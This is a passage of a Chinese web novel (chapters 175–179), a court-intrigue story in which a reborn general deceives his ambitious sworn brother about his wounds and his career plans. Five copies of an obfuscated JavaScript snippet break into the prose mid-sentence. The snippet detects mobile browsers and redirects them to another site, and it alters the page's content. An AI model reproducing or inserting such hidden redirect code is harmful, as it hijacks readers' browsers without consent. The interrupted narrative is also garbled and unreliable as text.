“我这伤……看着是好了,实际上还有许多不便之处,说是痊愈了,都是做给外人看的,也是想让圣上能多容我些时日转圜。玦弟,你是自己人,这些话可不要说到外面去。” 李玦将信将疑地不断打量着华靖离,他不大相信华靖离的说辞,若是重伤,就算表面看起来好了,这个“表面”也太真了些。 他还是愿意相信华靖离原本就伤得没那么重,可是这当中也有哪里不对,因为太医一开始就来了,要是伤得不重,宫里不会那般反应。 李玦假做试探地道:“我……听内子说,华兄伤得极重,脸上也被箭矢所伤,伤能见骨,现在看来这伤处是一处粉皮。这是不是说伤得本就不重,不然怎会月余就康复成如今这样?” “华兄既然把我当自己人,还是跟我交个底吧,是不是原就伤得……没那么重,要是如此,我这心里也能放心些。” 李玦关切地看着华靖离,就想从他口中得到肯定的答案,仿佛他宁愿华靖离欺君,也希望华靖离的伤势从来都无碍。 当下男子多数难以如女子那般细腻地表达情感,可是李玦此刻眼中的痛惜、希冀和壮着胆子也要求一个心安的情绪是那般的细腻、明显。 华靖离若是没有前世那些经历,此刻还是信着李玦的,定是要被他这般作态感动的。 华靖离在心里唏嘘,李玦这副样子让他想到了下了戏台之后讨好恩主的戏子。 李玦从小的处境虽比其他勋贵人家艰难许多,可是何夫人是个护犊子的好母亲,衣食、学业上并没有亏待他,就连外界给他的那些冷眼和苛待,也有华靖离帮他挡了多半,按理说他不该长成如此性情。 可是此刻李玦就是这般惺惺作态地看着他,可是他知道,只要他迫于这般态度承认了自己伤得本就那么重,他日就会背上收买太医、欺君罔上的罪名。 华靖离露出一抹苦笑:“玦弟是太看得起我了,我重伤回来,直到成亲那晚才将将醒来一次。我父亲、母亲都是做不了主、没有大主意的人,若是伤得不重,太医如何能在那时就为我作伪?” “那时候大家都只盼着我能多拖些时日,再没有敢多想的了。还是后来冲了喜,内子给我带来了好福气,这伤势好转了、人也清醒了才能安排后面的事。” 他叹了口气,顺带着又咳嗽了几声,“我知道我这伤是好不了了,那就给家里争取一些时日,让族中子弟出头,有个立功的机会,说不定将来这华家军收归了兵部之后,还能用我华家的子弟作为将领,也算是有所安慰了。” 若是此时传出华靖离伤势恶化的消息,华家族中子弟还没有太出挑的,这统领将军的位子定是落入他人之手了。 华靖离此刻秘而不宣,只说自己已经康复了,便不好有人将这侯府军从他手中拿走,哪怕之后撑不住了,实情败露,哪怕华家人当中还是没能培养出有担当的子弟,他也尽了力了,为华家争取了时间。 到时候就算华家没有了统兵之才,圣上悯恤华家昔日功劳,也很可能会安排华家子弟去做副将,甚至军中重要的文官。 这缓兵之计是行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301820|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得通的,也说得通。 而且华叶峰和董氏的确不是能拿得住这种大事儿的人,华靖离刚回元京的时候,只有夏明月提前几个时辰得到了消息,别人都一无所知,要说这二人能提前做出安排,就太难为他们了。 李玦信了一半儿,问出了另一半儿:“我自然是信得华兄和二老的,可你这伤势……就算是面上好了,也好得太……”他欲言又止。 华靖离示意他小声些再靠近些,然后压低了声音煞有介事、半真半假地道: “是看起来好得太快、太好了,对吧?这是因为用了一些秘术,你的妻子……姨妹没跟你说过?内子出身蛊医世家,她虽不通医术,可杨家知晓她出嫁,是派了人来的……” 李玦眼中清明了一下,瞬间就明白了:“华兄用了蛊医之术,可是陛下他不喜蛊医,之前把蛊医都赶出了元京,华兄就不怕……” “性命攸关,更是事关华家的将来,我也是不得不兵行险招。况且陛下当年不喜蛊医,可有明确说过要赶蛊医出元京?”华靖离反问道。 没有明确说过,只是下面的人擅自揣测而已,当年也是因为蛊医自己知道过去的事儿很多说不清楚,自己就退了,才让人以为他们是被勒令远走的。 李玦尽管不愿承认,还是不得不道:“似乎没有……可是毕竟圣上不喜,你就不怕犯了忌讳?” “性命为大,况且陛下也说了,不论何种方法,只要能将我治好就行。蛊医也是这些方法中的一个,这也不算抗旨吧?”华靖离无奈地笑了一下。 李玦还在继续确认着:“可是蛊医向来与阴损之事有关,沾染上了总是不好,你打算如何向陛下回报此事?要是直接说是蛊医所为,就怕姨姐也会受到牵连……我也是怕明月伤心。” “她们姐妹面上时常争吵,可毕竟是亲姐妹。还有你说如今之事面上好了,太医那边会如何跟陛下交代?万一将来又有了反复,这又该如何解释?” 第175章把馋虫勾起来了 华靖离凝眉,故作神秘地道:“你是没见识过这些太医,一道圣旨下来,让他们务必将我治好,有些伤病本就是治不好的,他们也为难。” “他们来我这儿,要是据实以报,那就相当于脑袋别在腰带上办事儿。我这表面上好了,他们纵使心知肚明,有了这遮掩之法,也是能拖一时是一时的。” “要是以后伤势再恶化了,这中间变数颇多,可以是我劳心忧虑太过,也可以是尚未完全恢复就染了风寒……到时再寻道理,都是说的通的。他们此时帮我圆了谎,也是给他们自己争得了周旋的时间。” 这么说来,太医是在这段日子里被买通的,两边共同做了局出来,先把圣上哄住,然后他们再各自筹谋。 “这倒是不失为一个妥善的方法,可是华兄,你这身子当真不要紧吗?万一这中间出点什么岔子,可让我如何是好?” “刚刚听说太医们都要回宫去了?是不是还应该留人照看着?杨家派来的医者医术如何?他们难道只会做表面功夫,就没有一点真本事吗?” 李玦面上焦急,心里却觉得自己抓住了华靖离一个天大的把柄。 要是这件事里没牵涉到蛊医,将来事发,华靖离伤势恶化,或是被证实了再难征战沙场了,圣上还能体谅这是人之常情。 可是蛊医牵扯进去了,纵使圣上能够体谅,朝堂上的那些人即便心里能体谅,可是华靖离往日得罪过的人也不少,更何况怀璧其罪,会很多人都想借机整倒他。 这样以来,纵使圣上有心袒护,这么多人众口铄金,华靖离一个坏了身子的将领、侯爷,就像是没了牙齿的老虎,他挡不住这些攻讦,圣上护他也没了意义…… 华靖离意味深长地看着李玦,仿佛很感念他的关心:“杨家舅父远游去了,也不知道去了哪里,一时半会儿找不到人,只能倚仗两位杨家的族亲。” “他们也就只会这些了,都是尽力了的,这或许就是我的命数,能拖一时是一时吧。好在我这次回来,发现靖和懂事了许多,也比从前坚强、有担当了,我就想着以后多栽培栽培他。” 他忽然想起了什么似的,拍了拍李玦的肩膀,“说起来你们虽不熟识,你们的年纪到底更相仿些,以后我不常在外面行走,他还要靠你多提携。” 华靖离既然只是表面上好了,以后定是要多养着的,之后他的重心会放在栽培族中子弟上。也会尽可能的与能襄助、看顾华家的人交好。 李玦本就想要华靖离的扶持,这些话一出口,他就知道他的机会来了,可他一听到要栽培华靖和,他的心里又咯噔一下。 到底是亲弟弟,哪怕是个庶弟,就是比对他这个义弟亲厚。 华靖和是个什么东西,不过是一个只知道吃喝玩乐的风流公子,他却是跟华靖离一处读过书、**过武的。 这些年他一直在准备科举,私下里为了他日重建李家军也多与元京中退下来的将领来往,端侯府本就不宽裕,他还有筹集出银两孝敬这些人,才能暗地里得这些人一些提点。 这些人不会明着收他为徒,就只是提点他几句,就像手里有了多余的吃食了,随手赏给乞儿几口似…… 他这般的艰难,只为得到一个晋身的机会,偏偏华靖离看不到他,只能看到华靖和。 要知道华靖和这个庶弟自小跟华靖离相处的时日,还有他们之间的兄弟情义,都比不上与他这个义弟的,可是到了关键时候,华靖离的心里只有这个从小都没见过几面的庶弟! 李玦对华靖离将被伤痛折磨终生的那点幸灾乐祸很快就被不甘和愤恨取代,他恨华靖离看不到他的努力,恨华靖离一点机会都不给他。 尤其这种推举的机会并不是非此即彼的,华靖离明明可以同时推举几个人,为什么提了华靖和,却一句都没有提他! 李玦干巴巴地道:“我虽与二公子不甚熟识,但也听说他醉心书画,还有一个雅号。他还入了御青书院的终选,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301821|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还要入军中?” 华靖和当然不可能入军中,华靖离偏不这么说,他就是要馋死李玦: “不瞒你说,靖和这个参加擢选完全是他生母的意思,就是他自己也是不愿意的。没想到他还是个什么居士,居然凭几幅画就入了终选。这我可不得不说,家里是真没有人出手帮他。” “想必是有些年的擢选没出过他这样的人了,人家觉得新鲜,我这段日子又受了伤,少不得有些人要体恤我们家几分,这才把他选了进去。” 他说这些话的时候隐隐带着炫耀之意,好似华靖和入选简直不费吹灰之力,他们根本没感觉到背后有人在做推手似的。 正当李玦气得眼看着就要坐不住了的时候,华靖离话锋一转,“不过我们华家是有自知之明的,世代行伍哪儿能这么容易就出一个文人?” “这御青书院选不选得重都只当他是去历练一场的,大可不必当真,之后他还是到军中比较好,这样我跟父亲都放心。哪怕将来做个书吏、督粮官的,只要还在华家军中,就算是守着祖业了。” 这都能把御青书院的擢选结果不当真了,这得多狂傲。 往年偶尔也有那等看似入选的,后来都被时间证明所选之人是极有潜力的,从前只是这人的潜能没有被发掘出来罢了。 听华靖离的意思是不管选不选的上华靖和都要入军中,这一方面说明华家务实,不要子弟因为军功上的恩荫入仕,另一方面也说明还是入军中好啊。 无论是端侯府还是钩翊侯府世代都是武勋人家,子孙转了方向去做文官,不是不行,但一定要仔细筹谋。 如今这两家都没有提前筹谋过,当然还是做武将、武官更为稳妥,毕竟从前部旧、关系都还在。 尤其是李玦,他想要的是重建李家军,因为只有把人马都掌握在自己手里,将来才能图谋更多。 他从小就受够了被别人掌控的日子,他一定要把命运掌握在自己手中…… 第176章太会煽情了 尤其是华靖离这个态度,对华靖和去御青书院,不在背后帮忙,甚至选中了也不打算去,这就说明还是去军中好。 眼下华靖离正要往华家军和北疆安插人,正是一个绝好的时机,错过了这次,以后再开口可就更难了。 李玦在心里咬了咬牙,脸上露出为难而汗颜的神情,艰难地开口: “华兄,其实去御青书院也不是我自己的意思,实在是内子和岳丈的意思。也不瞒你,这事儿是内子先去跟楚家两位舅父提了,那边都把话放出去了,我才知道的。” “这文采诗文,不过是些吟风弄月的小把戏,当不得大才,我去应选不过是不好拂了长辈之意罢了。我自小熟读兵书,我还是想去军中,只是苦于没有机会。” “华兄说要带二公子去军中历练,不知道我有没有这个荣幸与他同去。我不求什么职位,就是去给二公子当随从、小厮都行。我若是能去军中,将来先祖也能明目了。” 李玦态度恳切,在这一刻没有什么比他的态度更真实了,他即便把自己踩到泥里,他也要去。 没有军功,即便袭了爵,也坐不稳。 大恒有律例在,第一代受封的侯爷可**三代,到了第三代若是因为其他的功劳或圣上体恤再袭一代,若是再无军功,便不可以再袭爵了。 其实老端侯已经第四代了,只是因为他在犯事儿之前有大功劳,李玦还能再袭一代。可要是李玦没有军功,他这一代完了,后面可就真没爵位了。 而且楚家、夏家两边都递了话上去还没有回应,就说明圣上还是觉得光有这两家的情面不够,他要是这时候能立下些功劳才行。 御青书院虽好,可毕竟走的是文官这条路,而且书院只是给了他一个读书和培养人脉的环境,等到出来之后还是要考取功名的,这一开二去的,哪有乘着北疆初定的东风快? 华靖离先是颔首,之后像是思考了一会儿之后,露出了费解的表情:“可是御青书院是无数学子翘首以盼之地,若能得里面的几位师父亲授,考取功名指日可待,日后授官也大有前途。” “玦弟,我一直觉得你和伯母都太过执着了,比起一个虚弦的侯爷,做一个有实权文官不是更好吗?你这这个人不比我,你这副才具,这副样貌,哪里过得了沙场刀口舔血的日子?” “我这华家军……我也跟你透个实底,如今北疆初定,还有些不安稳,南疆尚不太平,但是两疆安稳不过数十载光阴,之后我大恒大概就可没有战事了。” “到时候我华家军必定也是要收归兵部,或是卸甲归田的。你即便袭了爵,陛下也未必就允许你重建李家军,即便允了,粮草、饷银皆要你自家筹备,这当中的事得有多辛苦。” “即便你招兵买马,把一切都撑起来了,他日战事平息,大恒南北疆土皆太平,你这李家军也不会在留在端侯府,还得费心安置……这份辛劳,一代而斩,可有意义?” 待战事平息,府军归朝或卸甲归田,就是大势所趋,总之这些都会发生在他们这一代人身上。 这几个军侯府的人马都是祖上就置办下来的,路走到头了,完成了他们的使命,顺应皇命是大势所趋,聪明人都没有话说。 可是李玦这样的刚支撑起摊子来就要散去,这不就是白折腾吗?除非他压根不想走这条路,他没想过交出李家军。 华靖离也是这些日子才想明白李玦的问题,李玦恐怕从一开始就存了不臣之心,他要重建李家军,名义上是完成老端侯的遗愿,实际上是为了满足他自己的野心。 上一世华靖离呕血而亡之后还在元京停留了不到一年光景,他知道李玦封了异姓王,不仅成为了端王,还搭上了当时已是新帝的太子谢维。 那么他把李家军交出去了吗?想必没有,要不然他靠什么联合孙允斌架空了谢维呢? 华靖离不动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301822|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声色的说完这些话,这些都是好话,他这样做不仅是为了李玦这个义弟尽最后一点心,也是为了大恒天下的大义。 这些话说完之后,他便算是尽了最后的道义了,之后李玦多行不义,就别怪他不留情了。 这番话在李玦耳朵里却没有听出一点大义和警告,因为这番话的另一套说辞他已经在夏庸那儿听过了。 其实夏庸和华靖离这两人说的都是肺腑之言,可是听在李玦耳中虽然各有用意,但终究都不觉得是好话。 他觉得这两人就是为了让他们自己省事儿,不想为他付出更多,才这么说的。 他现在觉得华靖离尤其可恶,毕竟夏庸是他岳丈,他要重建李家军,为了夏明月,夏庸是一定要为他筹谋的,无论是人还是钱财,他都得付出。 华靖离只是他的义兄,看他身子骨这状况,等到那时候华家军还在不在他手里都不好说了,他能给他引荐一些故旧、人脉就很不错了,根本不会让他付出更多。 华靖离现在就这么说了,分明是要跟他划出道道儿来,为的就是跟他划清界限,就是一点儿都不想为他付出! 李玦只觉得过去对待华靖离的那些付出都喂了狗,他强忍着心里的愤怒,表现出一副虚心接受又不忍父亲的遗愿落空的样子: “华兄说的很有道理,我不是不认同,而是父命难违。你有所不知,我父亲生前最后的遗愿就是重建李家军,他说李家军是败在他手上的,一定要在我手上重建,否则他在天之灵无法安息。” “哪怕只能维持几十年,也算是完成了他老人家的遗愿了。我知道,我父亲他犯了大错,尽管陛下下了封口令,他甚至不能告诉我这个做儿子的究竟发生了什么,他又做了什么。” “可我毕竟是他的儿子,是他的亲骨肉,他就只有我这么一个儿子。华兄,如果换做是你,易地而处,你会不为你的父亲实现这最后的愿望吗?” 第177章两边都舍不得 军中自幼失怙的将士不在少数,秉持着父兄遗愿要建功立业的为者众多,如此殷切地立志如何是最让人为之动容的。 如果不是上一世已经被这般“你不答应就是逼我不孝”看不见的镣铐枷拿过多次,华靖离还真会被感动。 不过不管心里有多冷静、多想笑,华靖离都表现出了他被感动了,而且很过意不去: “是我想岔了,我以为你选御青书院这条路是再好不过的,总比在北疆过着朝不保夕、刀口舔血的日子强。况且你一向才名显著,简直是无人不知,无人不晓啊,一定不会想要错过这次机会。” “冠玉公子?是这么个称呼吧?我这些年都不常在元京,这次回来,还是养伤的这个月里,内子跟我说的。诶,内子也是成婚前才回的元京,你的大名,她都知道了!” 华靖离说到“冠玉公子”时眼睛都亮了起来,上一世成婚的时候夏明嫣和李玦几乎不认识,她肯死心塌地地为了李玦在外奔走、在内宅忍受何夫人的折磨,是不是也被他这副风神俊朗、道貌岸人的样子给迷惑了? 李玦一惊,他没想到华靖离既然对他这个雅号有兴趣,还别说比起战功赫赫,在高门贵女和寻常百姓口中,他这名声和形象比华靖离受欢迎。 李玦曾经为这件事沾沾自喜过,他没想到华靖离居然会认同这一点,而且大概是因为夏明嫣提起他时表现出了好感,华靖离说这些话时竟然还有些故作轻松的感觉。 李玦不自觉地脊背都挺了起来,声音也不确定起来:“那都是……外面的人说笑玩儿的,不能当真,怎么嫂嫂也听说了?” “御青书院……没有读书人不向往,我不是不想,只是相比起来更想去军中,哪怕只是替人洗马、写写文书都好,还望华兄成全!” 华靖离似乎一下子明白过来了:“我就说,你不会对御青书院一点兴趣都没有,你饱读诗书,也是有功名的,将来不说中个状元回来,中个进士总是没有问题的。” “怎会不向往?只是眼下这个时机两者之间冲突了,对不对?没关系,眼下北疆大局已定,只有祁笛余部偶有骚乱,你现在过去,也不过是干些抄写、计数的差事,给朝廷上报战功用的。” “这些个活儿,有人做,你不必去,靖和也不是现在去。不关背后是怎么回事,你们两个如今都已经入了终选,突然退出,御青书院那边恐怕也有微词。” “你们不如先这么着,一切如常,都尽力去选,等擢选结束,我找机会送你们去北疆。你们一起去,路上也好有个照应。” 华靖离似乎笃定了华靖和是一定选不上的,就是去走个过场,表示一下他是尊重这次擢选的,也把家里和卜小娘的面子圆了回来。 可是李玦不是这么想的,他觉得以他现在的势头,一定能选得上。 这御青书院的擢选标榜的就是不拘一格选贤任能,每一年的确都会有能出头的寒门子弟被选上,可是毕竟都是少数,多数中选的还是高门、名门和书香门第的子弟。 真正的寒门或是贫苦人家的子弟,除非天赋卓绝,否则家里多养活一张嘴都难,更别提能供得起读书**字了,哪里就能在擢选里胜出了? 当然,能够选上的多数都是有真才实学的,可也有些例外,尤其是李玦不能说一点才学都没有,如今背后还有了楚、夏两家做靠山。 他是觉得或许他是能选上的,尤其是中选里还有华靖和这样陪绑的,只要安排好的人把华靖和打压下去,他绝对有机会。 哪怕是敬陪末位,那也是选上了啊……那么到时候再去军中,还行吗?御青书院那边会不会觉得自己愚弄了他们?将来再有当中弟子为难他。 其实这些日子以来,即便有人相助,李玦也还是感受到了当中的艰难,最终的擢选可是在大庭广众之下,没有人能在背后为他捉刀,没有人能够替他出面,这当中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301823|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最大的压力都还是要他自己承担的。 他怕了,也疲惫了,事情开始之前他是跃跃欲试的,真正开始了,他的名气越来越大,他曾经很享受这样的过程。 可是到了最后,到了靠真才实学强硬碰撞的时候,他累了,更是怕了,他心虚地担心在终选中露怯,让全天下的人发现他名不符实、只是一个徒有其表的落魄勋贵子弟。 他想要远离那样可怕的可能,因此他迫切地想让华靖离给他这个去北疆的机会。 他自己不是不可以去应考北疆军中的职务,只是那样去了就只是做些寻常的事,刚入军中,不熬个三年五载是不会有功劳的,可是有华靖离安排就不一样了。 就算华靖离不肯亲自开口安排人关照他,谁不知道他是华靖离的义弟?凭着这层关系,他只要找准时机,总能在最短的时间里混到军功。 这一点他曾经私下里跟夏明月说起过,夏明月也很支持他的想法,还劝他一定要跟华靖离走得近些,一定要让华靖离将他托付给老成持重的老将,这样一定可以多照顾他一些。 夏明月说的极其笃定,还说自己做了一个梦,说他在北疆局势平定的时候得到了一个大军功,得到了很大的封赏。 他原本不信,可夏明月请了位高人来府里看过,说是她做的很可能是预知梦,很可能会应验,这就让他不得不信了…… 他一定要抓住这次机会去北疆,只是御青书院那边要是一定能选上,这么放弃了也的确可惜,也确实可能会给书院和那些个弟子留下他轻慢书院的印象。 李玦有些纠结地开了口:“可是这样的话,会不会太迟了?我是说万一选上了,又不去,御青书院和那些参选的学子会怎么说?” 华靖离拍了拍他的肩膀,仿佛对他特别有信心:“选上了不去,可以把事情推到我身上,你就说是我力邀你去军中的。是我看中了你,不是你这山望着那山高。” 第178章李玦飘飘然 华靖离表现出了对李玦的最高推崇,他自己也是在别人家的族学书院里附过学的,若是去考功名,在修**上几年估么着也能中个进士。 可他此刻表现得就像一个不通文墨的大老粗,正在仰慕地看着一个才子,这一刻这个才子无论说什么、做什么,身上都是带着光晕的。 他用一种特别信任的语气说道:“玦弟,以你的学识和风采,怎会不被选中?你从前是被父辈的那些事儿限制住了,毕竟这是李伯父的事,我一个晚辈也不好说。” “可是今天我是无论如何都要说上一说的,你想想,李伯父的那些事儿,你清楚多少?不清楚,对不对?是何伯母不告诉你?恐怕她一个妇道人家,又相隔千里,想必也不清楚南疆究竟发生过什么。” “要说别人清不清楚,肯定有清楚的,可是圣上不让说,那就是清楚也得变成哑巴,不能说!圣上为什么这么做?这是顾念着李伯父和李家的从龙之功呢。” “那么大的一件事,硬生生地被圣上给压下来了,半点没有牵连族人,那么你还计较什么?” 华靖离跟当今圣上是忘年交,两个人颇为谈的来,若论相处,华靖离还比谢维那个当太子的更像圣上的儿子。 华靖离这次回来之后虽然还未入宫觐见,但有两位太医在中间传话,圣上身边的公公还来过好几回,是不是跟他说了什么?甚至暗示了他要扶持自己? 华靖离不是一个情绪外露的人,很少这般夸人,难道是得到了圣上的授意?圣上一直没松口让她袭爵,难道就是在等他的表现。 李玦的声音没有之前那么坚定了:“圣上一直没有让我袭爵,难道是想让我展现一下……自己的才学?可是我要是去了北疆,一样可以展现自己的才学。” 华靖离露出“这你就不懂了吧”的表情,放心大胆地给他鼓劲儿:“可不是?这御青书院的擢选就是最好的机会。你要去北疆、去军中,不是不行,只是这机会远远比不上这次擢选。” “你是对重建李家军和父辈的荣光生了执念了,可你平心而论,你是擅长诗文和科考,还是擅长沙场征战、统兵打仗?你当然适合前者,后者是你的执念……你先别急着反驳,你听我把话说完。” “你仔细想想,北疆有多少人?那些个将士还都是在那里短则三五年,长则十余年的,论起功劳,你争得过哪一个?即便有人愿意助你,现在这个时候,你能有多少功劳?” “而御青书院的终选,一共也就二十余人,是跟这二十余人争你擅长的东西容易,还是去北疆跟那么些个将士争容易?” 华家军有十余万都在北疆,就算只算将领,核心将领有几十人,普通将领全算上估么着有小两百人。 人家前头十余年的经营,谁有功劳、有多大能耐已经多次奏报朝廷了,除了极少数突然蹦出来的能人,谁能立多大功劳其实大家都心中有数。 他就是突然安**去了,有人帮趁着,能沾上的功劳恐怕也只是一些小功劳或是一些中等的功劳,大功就算人家敢替他报上去,对他这样新去的,朝廷也要严查,这大功是很难落实得下去的。 这么想来,御青书院这边他更擅长,还有楚家出面造势为他排除异己,的确更有施展的可能。 李玦心中的迷雾仿佛被一阵清风吹散了,此刻的他豁然开朗:“这么说的确如此,可万一选上了,我再反悔。我的意思是,实在不好意思把事情都推到华兄你身上。” “而且这是你我兄弟的计较,圣上本就不喜李家,万一他到时候觉得我戏耍了御青书院,反而更加不让我袭爵了,该如何是好?” 华靖离斟酌了一下,很肯定地道:“那就这样,你就把终选当作一个演武场,你在上面表现一番,在结果出来就退出便是。” “对我们这些勋贵之家来说,擢选的结果不重要,重要的是有这么一个展示自己的机会和过程,你展示过了,圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302903|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上也看到了,这就够了。” “而且你身为勋贵子弟,自己主动把位子让出来,既不贪图虚名,这位子让出来之后他们就可能多收下一位寒门子弟为徒,这可不就是圣上愿意看到的嘛。” “你再想想,终选上你赢了众多学子,你还能高风亮节地把位子让出来,这得多值得别人称颂。圣上定然会觉得你谦卑、懂得他的苦心,说不定一感念,就允了你袭爵了。” “就是之后再去军中,你有了这样的美名,那些个将领也都是会敬重你的,这时候你再有点功劳,哪怕只有三分,也得变成五分。回到报到圣上面前,因为你之前的谦恭礼让,说不定这五分就成了七分呢?” “这……华兄说的是,华兄这番话让愚弟醍醐灌顶,受教了。” 李玦越听目光越清明,眼底里还隐藏着名为野心和兴奋的暗流,华靖离的这些话不仅说到了点子上,还正中他下怀。 李玦不是没有真才实学,只是这当中的分量少了些,要是跟普通人比也就罢了,真到了这种高层次的比试中,他几乎不可能胜出。 纵使有楚家托着他,到时候把潜在的跟他争的人都提前弄下去了,他被选中了,别人心里也是有杆秤的,知道他有几斤几两,知道他赢的不光彩。 可是他在结果悬而未决的时候就主动退出了,就不一样了,结果未知,谁都不能说他就一定不会被选中,这当中是有悬念的。 他退出了,是他有风骨、高风亮节,为的是他还有别的出路,更应该把这个位子留给寒门子弟。 纵使他的才学不是最出众的,可是算上他的人品、情操,哪个敢说他没有赢? 甚至几年之后,世人可能都记不得这一年究竟是谁被选上了,反而会记得他这个主动退出相让的人。 这就好比他的诗文,整首看起来也就那么回事,但偶有些单独的句子还不错,他便将这些佳句传扬出去,一样让他得到了美名! 第179章看不上,还要用 华靖离出的这个主意跟他传出去那些佳句的做法简直异曲同工,都是露一半、藏一半,让别人去猜、去想像。 这种事儿只要露出来的头儿是好的,世人总是爱把后面藏着的一半儿也想像成好的。 就像是一个生了一双美目的舞姬,戴着面纱出场,舞姿曼妙,大部分便会觉得这舞姬整张脸都是极美的,可是一旦摘下面纱,大多数情况下都能发现,这张脸远不如那双美目美。 而且华靖离揣测圣上和朝堂上那些大人的话也很在理,一群人对一个人的印象好了,这个再做出什么,这些人多是会觉得这人比实际做的更好呢。 他们端侯府沉寂多年,在立功、袭爵之前,当下最紧要的是得先让圣人和朝臣们想起来大恒还有端侯府,还有他李玦这一号人的存在,他得先给他们留下一个好印象。 只要有了这个好印象,将来他立了功,哪怕这份功劳里有不实在的地方,这些人也容易睁一只眼闭一只眼地放过…… 李玦下定了决心,最后跟华靖离确认着:“那我就先选着?等到终选只差一步落定的时候再退出,之后华兄就安排我和二公子一起去北疆?” “这中间还有没有什么要注意的?我还要准备什么?有什么需要打点的,你尽管说,我们李家那些故旧说不定也还能帮的上忙。” “华兄你肯帮我,我自然也要尽自己的一份力,也会尽量帮着二公子。我是托了他的福才有幸去北疆历练的,他为主,我为次,也一定得帮他挣一份功劳。” 李玦这么做就是假大方,端侯府的那些故旧都在南边儿,能在华家军里帮上什么? 他这么说不过是觉得自己要是一点力都不出,不像话,而且华靖和毕竟是华靖离的亲兄弟,他不帮着华靖和,他要打造的好形象、好名声,可就未立先破了。 他会不会帮华靖和?他从来没想过,因为别看华靖离现在对华景和安排得再好不过了,华靖和的名声也很快就要坏了。 别说去北疆了,华靖和连终选都熬不过,甚至恐怕连终选都去不了就会被取消资格,他现在说什么、许诺什么,到时候都无须兑现,他当然可以随便说了。 有一丝洞察和阴冷从华靖离眼底一闪而逝,他感慨地应和着道:“我帮着你,你照顾一下靖和,大伙儿守望相助,这才是兄弟之义。” “其实你跟靖和年纪更相近,从前是接触得少,等你们熟识了,一定有很多话说。在军中,他的天赋和前程都不如你,以后还要你多照应。” “不过……有句话我这当兄长的也不怕说了让你不高兴,他姓华,你姓李,不是我偏心,而是在华家军中偏着他的自然会多些,你还是要自己找些助力。” 李玦心里有些不高兴,可是这种情况也在他的意料之中,这是人之常情,就算华靖和不去,华靖离只推举他一人过去,也一样会出现这种情况。 李玦纵使心中不平,也还是虚心地请教道:“不知华兄可有信得过的人选?我要是能把人求来,定是要请他们连带着二公子一块儿提携的。” “倒是有一个不错的人选,只不过此人自五年前伤重之后便未再出山,要请他出山,恐怕要费一番周折。” 华靖离边说便观察着李玦的神色变化和反应,“就是元京外西边的张老将军和张少将军,这对儿父子是一双虎将。一个善谋持重,一个骁勇善战,配合得当。” “早年北疆战事吃紧,就是他们父子打破了大恒与祁笛的僵局。只是可惜张老将军之前腿伤严重,他们父子与当时的征北大将军有些不对付,便索性回家养伤。” “这些年他们父子虽然没有重返北疆,却教出了几个好苗子,也都到了北疆,在军中的威名反而更大了。你若能请他们出山,定能助你。” “可是……他们毕竟已经离开北疆五年,会不会太久了?我担心他们在北疆吃不开。”李玦有些犹豫。 此刻他并不怀疑华靖离举荐、帮助他的真心,他怀疑的是华靖离的眼光。 他之所以在背地里骂华靖离迂腐、假道学,就是因为华靖离选人过于看重人的品性而轻看作为,可是他现在是要找能帮他抢到功劳的人,不是在按品性举孝廉。 这张家父子他从前也听过,只是那些个传言都是添油加醋之后夸大了的,他很担心这对父子只是比较符合华靖离选人的标准,而不是他的。 